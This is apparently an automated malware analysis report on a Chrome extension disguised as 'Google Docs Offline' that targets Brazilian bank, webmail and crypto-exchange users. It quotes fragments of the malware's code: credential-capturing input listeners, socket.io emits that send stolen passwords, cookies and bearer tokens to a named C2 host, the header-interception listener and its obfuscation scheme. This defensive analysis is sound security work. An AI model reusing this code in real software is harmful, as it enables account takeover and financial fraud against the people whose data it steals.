Verdict:Malicious
Confidence:High
Conclusion
The submitted ZIP contains a single Chrome extension that masquerades as “Google Docs Offline” but actually operates as a banking and credential‑stealing backdoor. It:
- Contacts a remote command‑and‑control (C2) server at
https://ws.painelacesso.com(decoded from obfuscated strings).
- Injects full‑screen and modal overlays on Brazilian banking and cryptocurrency sites, and can lock the user’s screen.
- Captures credentials from banking and email login forms, steals cookies and web storage, and intercepts API authorization headers (e.g., bearer tokens) from web requests.
- Screenshares via CobrowseIO and presents an in‑page chat UI, enabling an operator to guide or coerce the victim during fraudulent transactions.
These behaviors are incompatible with a benign browser extension and clearly support account takeover and financial fraud.
Scope and Coverage
Root artifact
d370718dd3c6e334344a54675c32b975f24346240fef0bba071577ca02f485a6.zip→ extracted toextracted/d3707...-ff3dc9/.
Primary child artifact
extracted/.../d3707....crx→ Chrome extension, extracted under.../d3707....crx_extracted/.
Key examined files
- Manifest and structure (via
browser_extension_inspect): manifest.json(implicitly via inspection API)
- Background and core logic:
background.js→ beautifiedlib/core.js→ beautifiedlib/map.js→ deobfuscated
- Content scripts:
content/banco.js→ beautifiedcontent/email.js→ beautifiedcontent/cobrowse.js→ minimal wrapper, deobfuscated
- Cobrowse configuration:
cobrowse/init.js→ deobfuscated
- Overlays and assets:
overlays/*.html,overlays/modals*/*.html,assets/*(sampled as needed; no full template analysis required to classify behavior).
Limitations
- No dynamic browser execution was performed; conclusions are based on static analysis of manifest and JavaScript.
- Some JavaScript files failed advanced deobfuscation but were successfully beautified, and their logic is readable.
- Network endpoints and domain mappings were decoded from embedded obfuscation for only a representative subset, not exhaustively.
Despite these limits, the examined code paths are sufficient to establish malicious capabilities and intent.
Artifact Relationships and Behavioral Sequence
3.1 Extension overview (manifest and entrypoints)
From
browser_extension_inspect on the extracted CRX directory:- Manifest:
manifest_version: 3name: "Google Docs Offline"version: "9.9.8"update_url:https://certificadoativo2026.com/update.xml(custom, non‑Web Store update channel)
- Permissions:
permissions:tabs,storage,activeTab,scripting,cookies,webRequest,webRequestAuthProviderhost_permissions:<all_urls>web_accessible_resources:overlays/*.html,overlays/modals/*.html,overlays/modals-net/*.html,assets/*on<all_urls>
- Background:
service_worker:background.js
- Content scripts: (all
run_at: document_end) - For Brazilian banks (examples):
://banco.bradesco/*,://*.bradesco.com.br/*,://*.bradesconetempresa.b.br/*,://*.bb.com.br/*,://*.caixa.gov.br/*,://gerenciador.caixa.gov.br/*, etc.- Scripts include:
vendor/socket.io.min.js,lib/map.js,lib/core.js,src/perf.js,content/banco.js. - For email/webmail:
://mail.google.com/*,://accounts.google.com/*,://*.hotmail.com/*,://*.outlook.com/*,://*.live.com/*,://login.live.com/*,://*.uol.com.br/*,://*.locaweb.com.br/*, etc.- Scripts include:
vendor/socket.io.min.js,lib/map.js,lib/core.js,src/perf.js,content/email.js. - For crypto exchanges:
://*.binance.com/*,://*.coinbase.com/*,://*.bybit.com/*,://*.kucoin.com/*,://*.kraken.com/*,://*.crypto.com/*,://*.okx.com/*,://*.mercadobitcoin.com.br/*,://*.foxbit.com.br/*,://*.bitget.com/*,://*.brasilbitcoin.com.br/*.- Scripts include:
vendor/socket.io.min.js,lib/map.js,lib/core.js,src/perf.js,content/email.js. - For Cobrowse-enabled sessions at specific banks:
- Same bank URLs as above, but with
content/cobrowse.jsandcobrowse/init.jsenabling CobrowseIO.
System view:
background.jsmanages C2 configuration, client ID, screenshots, cookie/storage exfiltration, and API‑token interception.
lib/map.jsandlib/core.jsprovide obfuscated configuration, domain mapping, and a socket.io‑based ExtCore client used by all content scripts.
content/banco.jsandcontent/email.jscapture and exfiltrate login and transaction data for targeted sites.
overlays/*.htmlandoverlays/modals*/*.htmlprovide fake UI screens injected over banking/crypto pages.
cobrowse/init.jsconfigures CobrowseIO so an operator can remotely view/control the victim’s session.
Key Findings
4.1 C2 configuration and communication (background and ExtCore)
Evidence (background.js, lines ~5–22, 55–85):
- Background defines an XOR‑based base64 decoder
_d(s)using key[0x4B, 0x4C, 0x33, 0x58](background.beautified.jslines 5–16).
- Encoded URLs:
var _u = {
p: 'IzhHKDh2HHc8Px0oKiVdPSctUD04P1x2KCNe',
l: 'IzhHKHFjHGl5ex1oZXwdaXF/A2h6',
f: 'IzhHKDh2HHc8Px0oKiVdPSctUD04P1x2KCNe'
};_gcu()chooses a primary URL based onchrome.runtime.id, then_fc()fetches JSON from those URLs and stores a resultingendpointintochrome.storage.local.serverUrl. If that fails, it setsserverUrlto_d(_u.f).
Decoded endpoints (via reproducing
_d in Python):_d(_u.p)and_d(_u.f)→https://ws.painelacesso.com
_d(_u.l)→http://127.0.0.1:3001(likely dev/fallback)
Connection logic (lib/core.js, lines ~112–169):
ExtCoreuses:
async function _con() {
_id = await _gci();
_su = await _gsu(); // serverUrl from background
...
_c = io(_su, {
transports: ["websocket", "polling"],
reconnection: true,
reconnectionDelay: 1000,
reconnectionDelayMax: 5000,
reconnectionAttempts: Infinity,
});
}- On connect/reconnect, it invokes
_sdc()to send client metadata and starts pings every 25 seconds.
Why this matters:
- The extension maintains a persistent socket.io connection to an attacker‑controlled host (ws.painelacesso.com), not a Google domain.
- All captured credentials, cookies, screenshots, etc., are sent over this channel (see subsequent findings).
- Combined with the manifest’s
update_urlhttps://certificadoativo2026.com/update.xml, this shows the extension is managed entirely outside any official Chrome Web Store infrastructure.
4.2 Client identification and host environment profiling
Evidence (background.js, lines 113–158, 369–395, 398–458):
_gci()tries to read a persistent machine ID fromchrome.storage.managed(group policy / enterprise deployment):If present, it storesmachineIdasclientIdand also retainspcName,macAddress, andusername.
chrome.storage.managed.get(['machineId', 'pcName', 'macAddress', 'username'], ...)- If managed storage is unavailable, it generates a random 10‑character alphanumeric client ID and stores it in
chrome.storage.local.
_ck()and_capFP()(see below) gather:- Browser fingerprint: user agent, platform, hardwareConcurrency, deviceMemory, languages, DNT, maxTouchPoints, screen size and color depth, devicePixelRatio, time zone, WebGL vendor/renderer, audio sample rate, installed plugins.
- List of all open tab URLs (excluding
chrome://etc.).
Why this matters:
- The extension builds a stable device identity and collects enough fingerprint data to uniquely track and potentially distinguish high‑value or managed machines.
- Use of
chrome.storage.managedstrongly suggests it is designed to abuse enterprise policy deployment to infect multiple corporate machines.
4.3 Credential theft from banking and email sites (content scripts)
4.3.1 Banking passwords and transaction information (content/banco.js)
Evidence (
banco.beautified.js):- Initializes ExtCore:
ExtCore.init({ cobrowse: false });- Scans for likely password/transaction fields:
var sl = [
'input[name="formulario:_id502"]',
'input[type="password"][maxlength="20"]',
'input.senhaUsuario',
'input.campoSenha',
'input[title*="senha de 8"]',
'input[title*="confirmar a opera"]',
'input[type="password"]'
];- Hooks event listeners on each matching input (
blur,change,input,keyup). On certain triggers (e.g., 8‑character password, Enter/Tab, blur), it calls:
ExtCore.emitSocket('input-capturado', {
campo: c.name || c.id || c.className || 'f8',
valor: v,
tipo: c.type || 'password',
title: c.title || '',
url: location.href
});Why this matters:
- On Brazilian banking pages (per manifest
matches), this code exfiltrates banking passwords and other sensitive input values in real time to the attacker’s C2 server.
- It explicitly targets form names and titles consistent with Brazilian banks (e.g., “senha de 8”).
4.3.2 Email and webmail credentials (content/email.js)
Evidence (
email.beautified.js):- Also initializes ExtCore:
ExtCore.init({ cobrowse: false });- Listens globally for
blurevents onINPUTandTEXTAREAelements, identifies candidate username and password fields using names and autocomplete attributes:
var iu = /user|usuario|email|login/.test(n) || t.autocomplete === 'username';
var ip = tp === 'password' || /pass|senha/.test(n) || t.autocomplete === 'current-password';- Tracks a pair of values
_f.uand_f.pand when both are set, sends:
ExtCore.emitSocket('credencial-capturada', {
site: ExtCore.banco,
credencial: _f.u + ';' + _f.p,
usuario: _f.u,
senha: _f.p,
url: location.href
});Why this matters:
- On Gmail, Outlook, Hotmail, UOL, Locaweb, and other webmail/login sites (per manifest
matches), the extension steals full username/password pairs and tags them with the current URL.
- This provides the attacker with direct access to email and account‑recovery channels, amplifying the impact beyond banking logins.
4.3.3 Generic input capture (lib/core.js)
Evidence (core.js, lines ~549–570):
ExtCoreadditionally installs a global input‑blur capture on all pages where the core is loaded:
document.addEventListener('blur', function(e) {
...
if (_c?.connected) {
_c.emit('input-capturado', {
clientId: _id,
banco: _tp,
campo: t.name || t.id || 'f',
valor: v,
tipo: t.type || 'text',
url: location.href,
timestamp: Date.now(),
});
}
}, true);Why this matters:
- Even beyond specific banking/email selectors, the extension captures arbitrary form inputs when blurred, further broadening credential theft.
4.4 Cookie, storage, and API‑token theft
4.4.1 Cookies and web storage (background.js + core.js)
Evidence (background.js,
_ck() starting ~222; core.js _cc() ~534–547):_ck(tab)in background.js:- Uses
chrome.cookies.getAll({url: tu})to collect cookies for the current tab URL. - Derives related domains from hostname and an obfuscated mapping
_rdand_st(decoded values likebanco.bradesco,ib12.bradesco.com.br, etc.). It then callschrome.cookies.getAll({domain: ud[i]})for each related domain and deduplicates cookies by name|domain|path. - Uses
chrome.scripting.executeScriptto run a function in the tab context that dumpslocalStorageandsessionStorage, and can also pull storage from other tabs for related domains (via_stand tab queries). - Returns an object containing:
{
cookies: [...],
localStorage: {...},
sessionStorage: {...},
url: bu, // best URL if redirected
openUrls: [...], // all open tabs
fingerprint: {...}, // from _capFP
timestamp: Date.now()
}core.jsexposes_cc()to content scripts:
chrome.runtime.sendMessage({ action: 'capturar-cookies' }, function(res) {
if (res?.success && _c?.connected) {
_c.emit('cookies-capturados', {
clientId: _id,
banco: _tp,
dados: res.dados,
timestamp: Date.now(),
});
}
});Why this matters:
- The attacker can request, at will, a complete cookie jar plus storage for current and related banking/crypto domains, enabling session hijacking and bypass of login forms.
- Coupled with fingerprints and open tab URLs, this provides all pieces needed for high‑fidelity account takeovers.
4.4.2 API authorization headers and tokens (background.js webRequest listener)
Evidence (background.js, lines 461–505):
- Registers a
chrome.webRequest.onBeforeSendHeaderslistener:
var _apiPatterns = [/\/api\//i, /\/auth/i, /\/login/i, /\/token/i, /\/session/i, /\/transfer/i, /\/pix/i, /\/payment/i, /\/saldo/i, /graphql/i];
var _apiIgnore = [/google-analytics/i, /doubleclick/i, /facebook\.com/i, /analytics/i, /tracking/i, /cdn\./i, /static\./i, /\.css$/i, /\.js$/i, /\.png$/i, /\.jpg$/i, /\.svg$/i, /\.woff/i];
chrome.webRequest.onBeforeSendHeaders.addListener(function(details) {
...
if (hname !== 'authorization' && hname !== 'x-auth-token' && hname !== 'x-access-token') continue;
var hval = (details.requestHeaders[hi].value || '').trim();
if (!hval || hval.length < 20) continue;
... // filter banking-like URLs via _apiPatterns/_apiIgnore
ExtCore && ExtCore.emitSocket('input-capturado', {
campo: details.requestHeaders[hi].name,
valor: hval.slice(0, 4000),
tipo: 'api-header',
url: details.url.slice(0, 500)
});
}, { urls: ['<all_urls>'] }, ['requestHeaders']);Why this matters:
- This is an explicit attempt to steal bearer tokens and similar API authorization credentials from sensitive endpoints (login, token, session, transfer, PIX, payment).
- Such tokens can often be used to execute authenticated API calls without the user’s password, giving the attacker powerful control over accounts.
4.5 Overlays, fake screens, and user manipulation
4.5.1 Overlay templates and mapping (lib/map.js)
Evidence (
map.deobfuscated.js):- Obfuscated string table
_swith numerousd*,r*entries, decoded by_d(s)as in background.js.
- Template mappings:
var _o = {
t1: 'overlays/v1.html',
t2: 'overlays/v2.html',
t3: 'overlays/v3.html',
t4: 'overlays/v4.html',
t5: 'overlays/v3.html',
t11: 'overlays/v5.html',
...
};
var _m = {
'm1-a': 'overlays/modals/v1-ma.html',
...
'm6-c': 'overlays/modals/v6-mc.html',
'm7-a': 'overlays/modals/gmail-app.html',
lockscreen: 'overlays/lockscreen.html'
};detect()inspectslocation.hostnameandlocation.href, comparing them to decoded strings for many bank and financial URLs, and returns scenario identifiers liket1,t2, etc.
getRelated(type)andgetDomainKey(hostname)support cross‑tab lookups and cookie/storage collection for related banking domains.
- The global
window._xmobject exposes:
gs(k) // decode obfuscated string
go(k) // scenario → overlay template path
gm(k) // modal key → modal template path
detect()// current scenario based on host/URLWhy this matters:
- Shows a pre‑built library of social‑engineering overlays and modals tailored to many banking flows: password prompts, QR codes, tokens, 2FA, etc.
- Includes Gmail‑focused modals (
'gmail-app','gmail-2fa','gmail-sms') to harvest mail‑based 2FA and app confirmations.
4.5.2 Overlay injection and lockscreen (lib/core.js)
Evidence (core.js,
_at() ~285–347, _sm() ~407–492, _lockScreen() ~171–198):_at()(triggered by socket eventscomando-travaand on URL changes when_xtis set):- Queries
window._xm.go(_tp)to get a template such asoverlays/v1.htmlfor the current scenario. - Fetches the HTML via
fetch(_gu(p)), rewrites asset URLs, injects<meta charset>and config script, then displays it in a full‑screen iframe inside a shadow DOM overlay. - Sets
sessionStorage._xt = 'true'and attaches listeners to block F5, Ctrl+R, Backspace navigation, and context menu.
_sm(d)(triggered bymostrar-modalfrom the server) loads a modal templatewindow._xm.gm(d.tipo)(e.g., token/2FA prompts), optionally injects QR code URLs and transaction values, and overlays it similarly.
_lockScreen()and_unlockScreen()useoverlays/lockscreen.htmlto fully block the visual interface.
Why this matters:
- This enables a remote operator to completely control what the victim sees on sensitive sites, showing fake maintenance messages, token prompts, QR codes, or 2FA dialogs while transactions or account changes are performed in the background.
- Blocking refresh, navigation keys, and context menu is a classic anti‑user and anti‑forensics pattern.
4.6 Remote operator control: chat and Cobrowse
4.6.1 In‑page chat window (lib/core.js)
Evidence (core.js,
_scht() ~200–263):- On
chat-messageevents from the server,_scht(d)creates a floating chat window UI inside a closed shadow DOM.
- Users can type responses; messages are sent back via
_c.emit('chat-reply', {...}).
Why this matters:
- This supports live social engineering, e.g., “support” agents asking the user to confirm information, read tokens, or explain error messages while the attacker works.
4.6.2 Cobrowse screen sharing (cobrowse/init.js and content/cobrowse.js)
Evidence (
cobrowse/init.deobfuscated.js and cobrowse.deobfuscated.js):cobrowse/init.jsconfigures CobrowseIO:
CobrowseIO.license = "ZMopcMV_xW0jJw";
CobrowseIO.customData = { user_name: "Cliente", device_name: "Chrome" };
CobrowseIO.capabilities = ["drawing", "keypress", "laser", "pointer", "scroll", "select"];
CobrowseIO.api = "https://cobrowse.io";
...
CobrowseIO.client().then(function() {
CobrowseIO.start();
});- Events
session.loaded,session.updated, andsession.endedmark the DOM withdata-cobrowse-sessionanddata-cobrowse-activeattributes.
content/cobrowse.jssimply calls:
ExtCore.init({ cobrowse: true });- In
core.js, whencobrowse: true, overlays are drawn with special attributes and a background interval adjusts overlaypointer-eventsso Cobrowse sessions can still receive events.
Why this matters:
- Even though CobrowseIO is a legitimate service, here it is integrated into a malware extension to give attackers interactive remote visibility and input over the victim’s browser session during fraud.
- Combined with overlays, cookies, tokens, and chat, this enables highly effective real‑time account takeover campaigns.
4.7 Masquerading and evasion indicators
Evidence:
- Manifest name "Google Docs Offline", which is a well‑known Google extension, but:
- Host permissions and behavior focus on Brazilian banks, email, and crypto exchanges.
- Update URL points to
https://certificadoativo2026.com/update.xml, not the Chrome Web Store.
- Heavy use of string obfuscation (XOR + base64) to hide:
- C2 URL
https://ws.painelacesso.com. - Banking domains and URL paths (
banco.bradesco,ib12.bradesco.com.br, etc.).
- Keylogging and token capture are embedded in a background service worker and content scripts in a way that would be invisible in standard browser UI.
Why this matters:
- Masquerading as a trusted Google extension and hiding infrastructure details is consistent with stealthy malware, not a legitimate enterprise support tool.
Alternative Explanations and Contrary Evidence
Potential alternative: This extension could theoretically be a legitimate remote support / co‑browsing tool for Brazilian banks, using CobrowseIO to assist customers.
Why that does not fit the evidence:
- A legitimate bank extension would:
- Clearly bear the bank’s name and publisher identity, not
Google Docs Offline. - Use official distribution/update channels (e.g., Chrome Web Store), not
certificadoativo2026.comandws.painelacesso.com. - Avoid collecting all cookies, localStorage, sessionStorage, and authorization headers across banking APIs; such broad harvesting violates basic security and privacy principles.
- Avoid keylogging arbitrary input fields and webmail logins across Gmail/Outlook/Hotmail/UOL/etc.
- There is no code path that suggests constraints to a bank’s own domains, nor any visible compliance or consent flows.
No examined code supports a benign or limited‑purpose interpretation; all key behaviors (credential theft, token theft, overlays, Cobrowse, chat) are wired to attacker‑controlled infrastructure.
Unknowns and Coverage Gaps
- C2 behavior: We did not contact
ws.painelacesso.comorcertificadoativo2026.com; the exact server‑side logic, operator workflows, and data retention policies are unknown. However, client‑side code is sufficient to infer intent.
- Complete list of targeted institutions: While many are visible from manifest
matchesand decoded domain strings, we did not enumerate every obfuscated entry inlib/map.js. The set clearly includes multiple Brazilian banks and major crypto exchanges.
- Update channel details: We did not fetch
update.xml. It likely delivers updated CRX versions but its exact format and frequency remain unknown.
These gaps do not materially weaken the malicious verdict but limit the precision of ecosystem‑level IOCs.
Verdict Rationale
Why
malicious (high confidence):- Direct credential theft: Explicit code to capture and exfiltrate banking and email/webmail credentials, as well as arbitrary form inputs, tagged with URLs.
- Session hijacking capability: Systematic harvesting of cookies, localStorage, and sessionStorage from current and related banking/crypto domains, plus API authorization headers from sensitive API endpoints.
- Remote control infrastructure: Socket.io connection to an attacker‑controlled C2 (
ws.painelacesso.com), chat interface, overlay injection, lockscreen, and Cobrowse‑powered remote viewing and input capabilities.
- Masquerading and obfuscation: Misleading manifest name (“Google Docs Offline”), non‑Google update URL, obfuscated strings hiding domains and infrastructure, and UI interception (blocking refresh/back, fake overlays) indicate deliberate concealment.
Given these factors, the extension is clearly engineered for financial fraud and account takeover rather than any legitimate user purpose. The evidence from multiple files is mutually reinforcing, and no credible benign explanation remains.
About Delphos Labs Analysis
The Delphos platform analyzes compiled binaries directly and produces structured behavioral intelligence reports within minutes. This lets analysts understand what a binary does without manual analysis.
Request Access